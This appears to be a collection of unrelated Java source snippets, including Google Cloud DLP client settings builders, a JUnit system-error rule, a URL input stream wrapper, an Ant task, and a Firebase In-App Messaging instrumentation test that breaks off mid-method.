public static InstantiatingExecutorProvider.Builder defaultExecutorProviderBuilder() {
return DlpServiceStubSettings.defaultExecutorProviderBuilder();
}
/** Returns the default service endpoint. */
public static String getDefaultEndpoint() {
return DlpServiceStubSettings.getDefaultEndpoint();
}
/** Returns the default service scopes. */
public static List<String> getDefaultServiceScopes() {
return DlpServiceStubSettings.getDefaultServiceScopes();
}
/** Returns a builder for the default credentials for this service. */
public static GoogleCredentialsProvider.Builder defaultCredentialsProviderBuilder() {
return DlpServiceStubSettings.defaultCredentialsProviderBuilder();
}
/** Returns a builder for the default ChannelProvider for this service. */
public static InstantiatingGrpcChannelProvider.Builder defaultGrpcTransportProviderBuilder() {
return DlpServiceStubSettings.defaultGrpcTransportProviderBuilder();
}
public static TransportChannelProvider defaultTransportChannelProvider() {
return DlpServiceStubSettings.defaultTransportChannelProvider();
}
@BetaApi("The surface for customizing headers is not stable yet and may change in the future.")
public static ApiClientHeaderProvider.Builder defaultApiClientHeaderProviderBuilder() {
return DlpServiceStubSettings.defaultApiClientHeaderProviderBuilder();
}
/** Returns a new builder for this class. */
public static Builder newBuilder() {
return Builder.createDefault();
}
/** Returns a new builder for this class. */
public static Builder newBuilder(ClientContext clientContext) {
return new Builder(clientContext);
}
/** Returns a builder containing all the values of this settings class. */
public Builder toBuilder() {
return new Builder(this);
}
protected DlpServiceSettings(Builder settingsBuilder) throws IOException {
super(settingsBuilder);
}
/** Builder for DlpServiceSettings. */
public static class Builder extends ClientSettings.Builder<DlpServiceSettings, Builder> {
protected Builder() throws IOException {
this((ClientContext) null);
}
protected Builder(ClientContext clientContext) {
super(DlpServiceStubSettings.newBuilder(clientContext));
}
private static Builder createDefault() {
return new Builder(DlpServiceStubSettings.newBuilder());
}
protected Builder(DlpServiceSettings settings) {
super(settings.getStubSettings().toBuilder());
}
protected Builder(DlpServiceStubSettings.Builder stubSettings) {
super(stubSettings);
}
public DlpServiceStubSettings.Builder getStubSettingsBuilder() {
return ((DlpServiceStubSettings.Builder) getStubSettings());
}
// NEXT_MAJOR_VER: remove 'throws Exception'
/**
* Applies the given settings updater function to all of the unary API methods in this service.
*
* <p>Note: This method does not support applying settings to streaming methods.
*/
public Builder applyToAllUnaryMethods(
ApiFunction<UnaryCallSettings.Builder<?, ?>, Void> settingsUpdater) throws Exception {
super.applyToAllUnaryMethods(
getStubSettingsBuilder().unaryMethodSettingsBuilders(), settingsUpdater);
return this;
}
/** Returns the builder for the settings used for calls to inspectContent. */
public UnaryCallSettings.Builder<InspectContentRequest, InspectContentResponse>
inspectContentSettings() {
return getStubSettingsBuilder().inspectContentSettings();
}
/** Returns the builder for the settings used for calls to redactImage. */
public UnaryCallSettings.Builder<RedactImageRequest, RedactImageResponse>
redactImageSettings() {
return getStubSettingsBuilder().redactImageSettings();
}
/** Returns the builder for the settings used for calls to deidentifyContent. */
public UnaryCallSettings.Builder<DeidentifyContentRequest, DeidentifyContentResponse>
deidentifyContentSettings() {
return getStubSettingsBuilder().deidentifyContentSettings();
}
/** Returns the builder for the settings used for calls to reidentifyContent. */
public UnaryCallSettings.Builder<ReidentifyContentRequest, ReidentifyContentResponse>
reidentifyContentSettings() {
return getStubSettingsBuilder().reidentifyContentSettings();
}
/** Returns the builder for the settings used for calls to listInfoTypes. */
public UnaryCallSettings.Builder<ListInfoTypesRequest, ListInfoTypesResponse>
listInfoTypesSettings() {
return getStubSettingsBuilder().listInfoTypesSettings();
}
/** Returns the builder for the settings used for calls to createInspectTemplate. */
public UnaryCallSettings.Builder<CreateInspectTemplateRequest, InspectTemplate>
createInspectTemplateSettings() {
return getStubSettingsBuilder().createInspectTemplateSettings();
}
/** Returns the builder for the settings used for calls to updateInspectTemplate. */
public UnaryCallSettings.Builder<UpdateInspectTemplateRequest, InspectTemplate>
updateInspectTemplateSettings() {
return getStubSettingsBuilder().updateInspectTemplateSettings();
}
/** Returns the builder for the settings used for calls to getInspectTemplate. */
public UnaryCallSettings.Builder<GetInspectTemplateRequest, InspectTemplate>
getInspectTemplateSettings() {
return getStubSettingsBuilder().getInspectTemplateSettings();
}
/** Returns the builder for the settings used for calls to listInspectTemplates. */
public PagedCallSettings.Builder<
ListInspectTemplatesRequest,
ListInspectTemplatesResponse,
ListInspectTemplatesPagedResponse>
listInspectTemplatesSettings() {
return getStubSettingsBuilder().listInspectTemplatesSettings();
}
/** Returns the builder for the settings used for calls to deleteInspectTemplate. */
public UnaryCallSettings.Builder<DeleteInspectTemplateRequest, Empty>
deleteInspectTemplateSettings() {
return getStubSettingsBuilder().deleteInspectTemplateSettings();
}
/** Returns the builder for the settings used for calls to createDeidentifyTemplate. */
public UnaryCallSettings.Builder<CreateDeidentifyTemplateRequest, DeidentifyTemplate>
createDeidentifyTemplateSettings() {
return getStubSettingsBuilder().createDeidentifyTemplateSettings();
}
/** Returns the builder for the settings used for calls to updateDeidentifyTemplate. */
public UnaryCallSettings.Builder<UpdateDeidentifyTemplateRequest, DeidentifyTemplate>
updateDeidentifyTemplateSettings() {
return getStubSettingsBuilder().updateDeidentifyTemplateSettings();
}
/** Returns the builder for the settings used for calls to getDeidentifyTemplate. */
public UnaryCallSettings.Builder<GetDeidentifyTemplateRequest, DeidentifyTemplate>
getDeidentifyTemplateSettings() {
return getStubSettingsBuilder().getDeidentifyTemplateSettings();
}
/** Returns the builder for the settings used for calls to listDeidentifyTemplates. */
public PagedCallSettings.Builder<
ListDeidentifyTemplatesRequest,
ListDeidentifyTemplatesResponse,
ListDeidentifyTemplatesPagedResponse>
listDeidentifyTemplatesSettings() {
return getStubSettingsBuilder().listDeidentifyTemplatesSettings();
}
/** Returns the builder for the settings used for calls to deleteDeidentifyTemplate. */
public UnaryCallSettings.Builder<DeleteDeidentifyTemplateRequest, Empty>
deleteDeidentifyTemplateSettings() {
return getStubSettingsBuilder().deleteDeidentifyTemplateSettings();
}
/** Returns the builder for the settings used for calls to createDlpJob. */
public UnaryCallSettings.Builder<CreateDlpJobRequest, DlpJob> createDlpJobSettings() {
return getStubSettingsBuilder().createDlpJobSettings();
}
/** Returns the builder for the settings used for calls to listDlpJobs. */
public PagedCallSettings.Builder<
ListDlpJobsRequest, ListDlpJobsResponse, ListDlpJobsPagedResponse>
listDlpJobsSettings() {
return getStubSettingsBuilder().listDlpJobsSettings();
}
/** Returns the builder for the settings used for calls to getDlpJob. */
public UnaryCallSettings.Builder<GetDlpJobRequest, DlpJob> getDlpJobSettings() {
return getStubSettingsBuilder().getDlpJobSettings();
}
/** Returns the builder for the settings used for calls to deleteDlpJob. */
public UnaryCallSettings.Builder<DeleteDlpJobRequest, Empty> deleteDlpJobSettings() {
return getStubSettingsBuilder().deleteDlpJobSettings();
}
/** Returns the builder for the settings used for calls to cancelDlpJob. */
public UnaryCallSettings.Builder<CancelDlpJobRequest, Empty> cancelDlpJobSettings() {
return getStubSettingsBuilder().cancelDlpJobSettings();
}
/** Returns the builder for the settings used for calls to listJobTriggers. */
public PagedCallSettings.Builder<
ListJobTriggersRequest, ListJobTriggersResponse, ListJobTriggersPagedResponse>
listJobTriggersSettings() {
return getStubSettingsBuilder().listJobTriggersSettings();
}
/** Returns the builder for the settings used for calls to getJobTrigger. */
public UnaryCallSettings.Builder<GetJobTriggerRequest, JobTrigger> getJobTriggerSettings() {
return getStubSettingsBuilder().getJobTriggerSettings();
}
/** Returns the builder for the settings used for calls to deleteJobTrigger. */
public UnaryCallSettings.Builder<DeleteJobTriggerRequest, Empty> deleteJobTriggerSettings() {
return getStubSettingsBuilder().deleteJobTriggerSettings();
}
/** Returns the builder for the settings used for calls to updateJobTrigger. */
public UnaryCallSettings.Builder<UpdateJobTriggerRequest, JobTrigger>
updateJobTriggerSettings() {
return getStubSettingsBuilder().updateJobTriggerSettings();
}
/** Returns the builder for the settings used for calls to createJobTrigger. */
public UnaryCallSettings.Builder<CreateJobTriggerRequest, JobTrigger>
createJobTriggerSettings() {
return getStubSettingsBuilder().createJobTriggerSettings();
}
/** Returns the builder for the settings used for calls to createStoredInfoType. */
public UnaryCallSettings.Builder<CreateStoredInfoTypeRequest, StoredInfoType>
createStoredInfoTypeSettings() {
return getStubSettingsBuilder().createStoredInfoTypeSettings();
}
/** Returns the builder for the settings used for calls to updateStoredInfoType. */
public UnaryCallSettings.Builder<UpdateStoredInfoTypeRequest, StoredInfoType>
updateStoredInfoTypeSettings() {
return getStubSettingsBuilder().updateStoredInfoTypeSettings();
}
/** Returns the builder for the settings used for calls to getStoredInfoType. */
public UnaryCallSettings.Builder<GetStoredInfoTypeRequest, StoredInfoType>
getStoredInfoTypeSettings() {
return getStubSettingsBuilder().getStoredInfoTypeSettings();
}
/** Returns the builder for the settings used for calls to listStoredInfoTypes. */
public PagedCallSettings.Builder<
ListStoredInfoTypesRequest,
ListStoredInfoTypesResponse,
ListStoredInfoTypesPagedResponse>
listStoredInfoTypesSettings() {
return getStubSettingsBuilder().listStoredInfoTypesSettings();
}
/** Returns the builder for the settings used for calls to deleteStoredInfoType. */
public UnaryCallSettings.Builder<DeleteStoredInfoTypeRequest, Empty>
deleteStoredInfoTypeSettings() {
return getStubSettingsBuilder().deleteStoredInfoTypeSettings();
}
@Override
public DlpServiceSettings build() throws IOException {
return new DlpServiceSettings(this);
}
}
}
|
Java
|
public class SystemErrRule extends SystemErr implements SystemStubTestRule {
/**
* Construct with an alternative {@link Output} to use
* @param output the output to write system error to
*/
public SystemErrRule(Output<? extends OutputStream> output) {
super(output);
}
/**
* Construct with a {@link OutputFactory} for creating output objects from the existing output
*
* @param outputFactory the factory to use
*/
public SystemErrRule(OutputFactory<? extends OutputStream> outputFactory) {
super(outputFactory);
}
/**
* Default constructor, uses a {@link uk.org.webcompere.systemstubs.stream.output.TapStream} to
* tap system error while the rule is active
*/
public SystemErrRule() {
}
}
|
Java
|
public class URLInput extends StreamInput {
private final String urlInfo;
public URLInput(URL url) {
super(openStream(url));
this.urlInfo = url.toExternalForm();
}
private static InputStream openStream(URL url) {
try {
return url.openStream();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public String toString() {
return urlInfo;
}
}
|
Java
|
public class ProjectHelperTask extends Task {
private List projectHelpers = new ArrayList();
public synchronized void addConfigured(ProjectHelper projectHelper) {
this.projectHelpers.add(projectHelper);
}
public void execute() throws BuildException {
ProjectHelperRepository repo = ProjectHelperRepository.getInstance();
for (Iterator it = projectHelpers.iterator(); it.hasNext();) {
ProjectHelper helper = (ProjectHelper) it.next();
repo.registerProjectHelper(helper.getClass());
}
}
}
|
Java
|
@RunWith(AndroidJUnit4.class)
public class FirebaseInAppMessagingFlowableTest {
public static final String PROJECT_NUMBER = "gcm-sender-id";
public static final String APP_ID = "app-id";
private static final long PAST = 1000000;
private static final long NOW = PAST + 100000;
private static final long FUTURE = NOW + 1000000;
private static final FirebaseApp app;
private static final FirebaseOptions options =
new FirebaseOptions.Builder()
.setGcmSenderId(PROJECT_NUMBER)
.setApplicationId(APP_ID)
.setApiKey("apiKey")
.setProjectId("fiam-integration-test")
.build();
private static final String ANALYTICS_EVENT = "event1";
private static final TriggeringCondition.Builder ON_FOREGROUND_TRIGGER =
TriggeringCondition.newBuilder().setFiamTrigger(ON_FOREGROUND);
private static final TriggeringCondition.Builder ON_ANALYTICS_EVENT =
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName(ANALYTICS_EVENT));
private static final Priority priorityTwo = Priority.newBuilder().setValue(2).build();
private static final VanillaCampaignPayload.Builder vanillaCampaign =
VanillaCampaignPayload.newBuilder()
.setCampaignId(CAMPAIGN_ID_STRING)
.setCampaignName(CAMPAIGN_NAME_STRING)
.setCampaignStartTimeMillis(PAST)
.setCampaignEndTimeMillis(FUTURE);
private static final ThickContent thickContent =
ThickContent.newBuilder()
.setContent(MODAL_MESSAGE_PROTO)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.setPriority(priorityTwo)
.addTriggeringConditions(ON_FOREGROUND_TRIGGER)
.addTriggeringConditions(ON_ANALYTICS_EVENT)
.setVanillaPayload(vanillaCampaign)
.build();
private static final FetchEligibleCampaignsResponse.Builder eligibleCampaignsBuilder =
FetchEligibleCampaignsResponse.newBuilder()
.setExpirationEpochTimestampMillis(FUTURE)
.addMessages(thickContent);
private static final FetchEligibleCampaignsResponse eligibleCampaigns =
eligibleCampaignsBuilder.build();
private static final RuntimeException t = new RuntimeException("boom!");
private static final TestAnalyticsConnector analyticsConnector = new TestAnalyticsConnector();
static {
FirebaseApp.initializeApp(InstrumentationRegistry.getContext(), options);
app = FirebaseApp.getInstance();
}
@Rule public final GrpcServerRule grpcServerRule = new GrpcServerRule();
@Captor ArgumentCaptor<byte[]> byteArrayCaptor;
@Mock
private MetricsLoggerClient.EngagementMetricsLoggerInterface engagementMetricsLoggerInterface;
@Mock private FirebaseInstanceId instanceId;
@Mock private TestDeviceHelper testDeviceHelper;
@Mock private Subscriber firebaseEventSubscriber;
private TestSubscriber<InAppMessage> subscriber;
private FirebaseInAppMessaging instance;
private TestForegroundNotifier foregroundNotifier;
private Application application;
private DisplayCallbacksFactory displayCallbacksFactory;
private ProgramaticContextualTriggers programaticContextualTriggers;
// CampaignId to display callbacks
private static HashMap<String, FirebaseInAppMessagingDisplayCallbacks> callbacksHashMap;
private static DaggerTestUniversalComponent.Builder universalComponentBuilder;
private static DaggerTestAppComponent.Builder appComponentBuilder;
private static void clearProtoDiskCache(Context context) {
context.deleteFile(CAMPAIGN_CACHE_FILE);
context.deleteFile(IMPRESSIONS_STORE_FILE);
context.deleteFile(RATE_LIMIT_STORE_FILE);
}
private static List<Object> getPlainValues(TestSubscriber<InAppMessage> subscriber) {
return subscriber.getEvents().get(0);
}
private static TestSubscriber<InAppMessage> listenerToFlowable(FirebaseInAppMessaging instance) {
Flowable<InAppMessage> listenerFlowable =
Flowable.create(
new FlowableOnSubscribe<InAppMessage>() {
@Override
public void subscribe(FlowableEmitter<InAppMessage> emitter) throws Exception {
instance.setMessageDisplayComponent(
new FirebaseInAppMessagingDisplay() {
@Override
public void displayMessage(
InAppMessage inAppMessage,
FirebaseInAppMessagingDisplayCallbacks callbacks) {
emitter.onNext(inAppMessage);
Log.i("FIAM", "Putting callback for IAM " + inAppMessage.getCampaignName());
callbacksHashMap.put(inAppMessage.getCampaignId(), callbacks);
}
});
}
},
BUFFER);
return listenerFlowable.test();
}
@Before
public void setUp() {
initMocks(this);
callbacksHashMap = new HashMap<>();
clearProtoDiskCache(InstrumentationRegistry.getTargetContext());
application =
spy((Application) InstrumentationRegistry.getTargetContext().getApplicationContext());
String id = FirebaseInstanceId.getInstance().getId();
when(instanceId.getId()).thenReturn(id);
when(instanceId.getToken()).thenReturn("token"); // getToken() waits on a response from IID.
when(testDeviceHelper.isAppInstallFresh()).thenReturn(false);
when(testDeviceHelper.isDeviceInTestMode()).thenReturn(false);
if (Looper.myLooper() == null) {
Looper.prepare();
}
foregroundNotifier = new TestForegroundNotifier();
universalComponentBuilder =
DaggerTestUniversalComponent.builder()
.testGrpcModule(new TestGrpcModule(grpcServerRule.getChannel()))
.testForegroundNotifierModule(new TestForegroundNotifierModule(foregroundNotifier))
.applicationModule(new ApplicationModule(application))
.appMeasurementModule(
new AppMeasurementModule(analyticsConnector, firebaseEventSubscriber))
.testSystemClockModule(new TestSystemClockModule(NOW))
.programmaticContextualTriggerFlowableModule(
new ProgrammaticContextualTriggerFlowableModule(
new ProgramaticContextualTriggers()));
TestUniversalComponent universalComponent = universalComponentBuilder.build();
appComponentBuilder =
DaggerTestAppComponent.builder()
.universalComponent(universalComponent)
.testEngagementMetricsLoggerClientModule(
new TestEngagementMetricsLoggerClientModule(app, engagementMetricsLoggerInterface))
.grpcClientModule(new GrpcClientModule(app))
.testApiClientModule(
new TestApiClientModule(
app, instanceId, testDeviceHelper, universalComponent.clock()));
TestAppComponent appComponent = appComponentBuilder.build();
instance = appComponent.providesFirebaseInAppMessaging();
displayCallbacksFactory = appComponent.displayCallbacksFactory();
programaticContextualTriggers = universalComponent.programmaticContextualTriggers();
grpcServerRule.getServiceRegistry().addService(new GoodFiamService(eligibleCampaigns));
subscriber = listenerToFlowable(instance);
}
@Test
public void onAppOpen_notifiesSubscriber() {
simulateAppResume();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onAnalyticsNotification_notifiesSubscriber() {
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onAppOpen_whenAnalyticsAbsent_notifiesSubscriber() {
TestUniversalComponent analyticsLessUniversalComponent =
universalComponentBuilder
.appMeasurementModule(new AppMeasurementModule(null, firebaseEventSubscriber))
.build();
TestAppComponent appComponent =
appComponentBuilder.universalComponent(analyticsLessUniversalComponent).build();
FirebaseInAppMessaging instance = appComponent.providesFirebaseInAppMessaging();
TestSubscriber<InAppMessage> subscriber = listenerToFlowable(instance);
simulateAppResume();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onProgrammaticTrigger_notifiesSubscriber() {
programaticContextualTriggers.triggerEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void cachesResponseOnDisk() {
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertThat(fileExists(CAMPAIGN_CACHE_FILE)).isTrue();
}
@Test
public void onCacheHit_notifiesCachedValue() {
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber); // this value will be cached
grpcServerRule.getServiceRegistry().addService(new FaultyService());
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 1);
List<InAppMessage> expected = new ArrayList<>();
expected.add(MODAL_MESSAGE_MODEL);
expected.add(MODAL_MESSAGE_MODEL);
assertSubscriberListIs(expected, subscriber);
}
@Test
public void onCorruptProtoCache_fetchesCampaignsFromService() throws IOException {
changeFileContents(CAMPAIGN_CACHE_FILE);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
assertSingleSuccessNotification(subscriber);
}
@Test
public void afterCacheLoad_returnsValueFromMemory() throws IOException {
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber); // this value will be cached
clearProtoDiskCache(InstrumentationRegistry.getContext());
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 1);
List<Object> triggeredMessages = getPlainValues(subscriber);
assertThat(triggeredMessages.size()).isEqualTo(2);
for (Object o : triggeredMessages) {
assertThat(o).isEqualTo(MODAL_MESSAGE_MODEL);
}
}
@Test
public void whenTTLNotSet_honorsFileLastUpdated() throws IOException {
FetchEligibleCampaignsResponse noExpiry =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.clearExpirationEpochTimestampMillis()
.build();
grpcServerRule.getServiceRegistry().addService(new GoodFiamService(noExpiry));
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber); // this value will be cached
grpcServerRule.getServiceRegistry().addService(new FaultyService());
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 1);
List<Object> triggeredMessages = getPlainValues(subscriber);
assertThat(triggeredMessages.size()).isEqualTo(2);
for (Object o : triggeredMessages) {
assertThat(o).isEqualTo(MODAL_MESSAGE_MODEL);
}
}
@Test
public void onCacheDiskReadFailure_notifiesValueFromService()
throws InterruptedException, FileNotFoundException {
CountDownLatch readExceptionLatch = new CountDownLatch(1);
doAnswer(
i -> {
readExceptionLatch.countDown();
throw new NullPointerException();
})
.when(application)
.openFileInput(CAMPAIGN_CACHE_FILE);
subscriber = listenerToFlowable(instance);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
readExceptionLatch.await();
waitUntilNotified(subscriber); // this value will be cached
assertSingleSuccessNotification(subscriber);
}
@Test
public void onCacheAndApiFailure_absorbsErrors()
throws InterruptedException, FileNotFoundException {
FaultyService faultyService = new FaultyService();
grpcServerRule.getServiceRegistry().addService(faultyService);
CountDownLatch readExceptionLatch = new CountDownLatch(1);
doAnswer(
i -> {
readExceptionLatch.countDown();
throw new NullPointerException();
})
.when(application)
.openFileInput(CAMPAIGN_CACHE_FILE);
subscriber = listenerToFlowable(instance);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
readExceptionLatch.await();
faultyService.waitUntilFailureExercised();
assertNoNotification(subscriber);
}
@Test
public void onCacheWriteFailure_notifiesValueFetchedFromService()
throws FileNotFoundException, InterruptedException {
CountDownLatch writeExceptionLatch = new CountDownLatch(1);
doAnswer(
i -> {
writeExceptionLatch.countDown();
throw new NullPointerException();
})
.when(application)
.openFileInput(CAMPAIGN_CACHE_FILE);
subscriber = listenerToFlowable(instance);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
writeExceptionLatch.await();
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onTransientServiceFailure_continuesNotifying() throws InterruptedException {
FaultyService faultyService = new FaultyService();
grpcServerRule.getServiceRegistry().addService(faultyService);
// Since the analytics events are received on its own thread (managed by it), and the request is
// dispatched on io threads (managed by us), we need to ensure that the faulty service is
// exercised by our client before "fixing" it. Without the latch, the service might be fixed
// even before the first request is fired to it
TestSubscriber<InAppMessage> subscriber = listenerToFlowable(instance);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
faultyService.waitUntilFailureExercised();
grpcServerRule
.getServiceRegistry()
.addService(new GoodFiamService(eligibleCampaigns)); // service recovers
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onUnrelatedEvents_doesNotNotify() {
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
analyticsConnector.invokeListenerOnEvent("some_other_event");
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() > 0);
List<Object> triggeredMessages = getPlainValues(subscriber);
assertThat(triggeredMessages.size()).isEqualTo(2);
for (Object o : triggeredMessages) {
assertThat(o).isEqualTo(MODAL_MESSAGE_MODEL);
}
}
@Test
public void onExpiredCampaign_doesNotNotify() {
VanillaCampaignPayload.Builder expiredCampaign =
VanillaCampaignPayload.newBuilder()
.setCampaignName(CAMPAIGN_NAME_STRING)
.setCampaignStartTimeMillis(PAST)
.setCampaignEndTimeMillis(PAST);
TriggeringCondition.Builder analyticsEvent =
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName("ignored"));
ThickContent t =
ThickContent.newBuilder(thickContent)
.clearContent()
.clearTriggeringConditions()
.addTriggeringConditions(analyticsEvent)
.setVanillaPayload(expiredCampaign)
.build();
FetchEligibleCampaignsResponse r =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns).addMessages(t).build();
GoodFiamService impl = new GoodFiamService(r);
grpcServerRule.getServiceRegistry().addService(impl);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
analyticsConnector.invokeListenerOnEvent("ignored");
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() == 2);
List<InAppMessage> expected = new ArrayList<>();
expected.add(MODAL_MESSAGE_MODEL);
expected.add(MODAL_MESSAGE_MODEL);
assertSubscriberListIs(expected, subscriber);
}
@Test
public void onMultipleMatchingCampaigns_notifiesHighestPriorityCampaign() {
ThickContent highPriorityContent =
ThickContent.newBuilder(thickContent)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.setContent(BANNER_MESSAGE_PROTO)
.setPriority(Priority.newBuilder().setValue(1))
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(highPriorityContent)
.build();
GoodFiamService impl = new GoodFiamService(response);
grpcServerRule.getServiceRegistry().addService(impl);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() == 1);
assertSubsriberExactly(BANNER_MESSAGE_MODEL, subscriber);
}
@Test
public void onEarlyUnSubscribe_absorbsError() throws InterruptedException {
// We assert that unsubscribing early does not result in UndeliveredException
FaultyService slowFaultyService = new SlowFaultyService();
grpcServerRule.getServiceRegistry().addService(slowFaultyService);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
slowFaultyService.waitUntilFailureExercised();
instance.clearDisplayListener();
grpcServerRule
.getServiceRegistry()
.addService(new GoodFiamService(eligibleCampaigns)); // service recovers
subscriber = listenerToFlowable(instance);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
waitUntilNotified(subscriber);
assertSingleSuccessNotification(subscriber);
}
@Test
public void onUnsupportedCampaign_doesNotNotify() {
VanillaCampaignPayload.Builder campaign =
VanillaCampaignPayload.newBuilder()
.setCampaignName(CAMPAIGN_NAME_STRING)
.setCampaignStartTimeMillis(NOW)
.setCampaignEndTimeMillis(FUTURE);
MessagesProto.Content unsupportedContent =
MessagesProto.Content.newBuilder().clearMessageDetails().build();
String eventName = "unsupported_campaign_event";
TriggeringCondition.Builder analyticsEvent =
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName(eventName));
ThickContent t =
ThickContent.newBuilder(thickContent)
.clearContent()
.clearTriggeringConditions()
.addTriggeringConditions(analyticsEvent)
.setVanillaPayload(campaign)
.setContent(unsupportedContent)
.build();
FetchEligibleCampaignsResponse r =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns).addMessages(t).build();
GoodFiamService impl = new GoodFiamService(r);
grpcServerRule.getServiceRegistry().addService(impl);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
analyticsConnector.invokeListenerOnEvent(eventName);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
await().timeout(2, SECONDS).until(() -> subscriber.valueCount() == 2);
// assert that the unsupported campaign is not in the list, but we get 2x MODAL
}
@Test
public void whenImpressed_filtersCampaign()
throws ExecutionException, InterruptedException, TimeoutException {
CampaignMetadata otherMetadata =
new CampaignMetadata("otherCampaignId", "otherName", IS_NOT_TEST_MESSAGE);
BannerMessage otherMessage = createBannerMessageCustomMetadata(otherMetadata);
VanillaCampaignPayload otherCampaign =
VanillaCampaignPayload.newBuilder(vanillaCampaign.build())
.setCampaignId(otherMetadata.getCampaignId())
.setCampaignName(otherMetadata.getCampaignName())
.build();
ThickContent otherContent =
ThickContent.newBuilder(thickContent)
.setContent(BANNER_MESSAGE_PROTO)
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.clearVanillaPayload()
.clearTriggeringConditions()
.addTriggeringConditions(
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName("event2")))
.setVanillaPayload(otherCampaign)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(otherContent)
.build();
GoodFiamService impl = new GoodFiamService(response);
grpcServerRule.getServiceRegistry().addService(impl);
Task<Void> logImpressionTask =
displayCallbacksFactory
.generateDisplayCallback(MODAL_MESSAGE_MODEL, ANALYTICS_EVENT_NAME)
.impressionDetected();
Tasks.await(logImpressionTask, 1000, TimeUnit.MILLISECONDS);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
analyticsConnector.invokeListenerOnEvent("event2");
waitUntilNotified(subscriber);
assertSubsriberExactly(otherMessage, subscriber);
}
// There is not a purely functional way to determine if our clients inject the impressed
// campaigns upstream since we filter impressions from the response on the client as well.
// We work around this by failing hard on the fake service if we do not find impressions
@Test
public void whenImpressed_filtersCampaignToRequestUpstream()
throws ExecutionException, InterruptedException, TimeoutException {
VanillaCampaignPayload otherCampaign =
VanillaCampaignPayload.newBuilder(vanillaCampaign.build())
.setCampaignId("otherCampaignId")
.setCampaignName(CAMPAIGN_NAME_STRING)
.build();
ThickContent otherContent =
ThickContent.newBuilder(thickContent)
.setContent(BANNER_MESSAGE_PROTO)
.clearVanillaPayload()
.setIsTestCampaign(IS_NOT_TEST_MESSAGE)
.clearTriggeringConditions()
.addTriggeringConditions(
TriggeringCondition.newBuilder().setEvent(Event.newBuilder().setName("event2")))
.setVanillaPayload(otherCampaign)
.build();
FetchEligibleCampaignsResponse response =
FetchEligibleCampaignsResponse.newBuilder(eligibleCampaigns)
.addMessages(otherContent)
.build();
InAppMessagingSdkServingImplBase impl =
new InAppMessagingSdkServingImplBase() {
@Override
public void fetchEligibleCampaigns(
FetchEligibleCampaignsRequest request,
StreamObserver<FetchEligibleCampaignsResponse> responseObserver) {
// Fail hard if impression not present
CampaignImpression firstImpression = request.getAlreadySeenCampaignsList().get(0);
assertThat(firstImpression).isNotNull();
assertThat(firstImpression.getCampaignId())
.isEqualTo(MODAL_MESSAGE_MODEL.getCampaignMetadata().getCampaignId());
responseObserver.onNext(response);
responseObserver.onCompleted();
}
};
grpcServerRule.getServiceRegistry().addService(impl);
Task<Void> logImpressionTask =
displayCallbacksFactory
.generateDisplayCallback(MODAL_MESSAGE_MODEL, ANALYTICS_EVENT_NAME)
.impressionDetected();
Tasks.await(logImpressionTask, 1000, TimeUnit.MILLISECONDS);
analyticsConnector.invokeListenerOnEvent(ANALYTICS_EVENT_NAME);
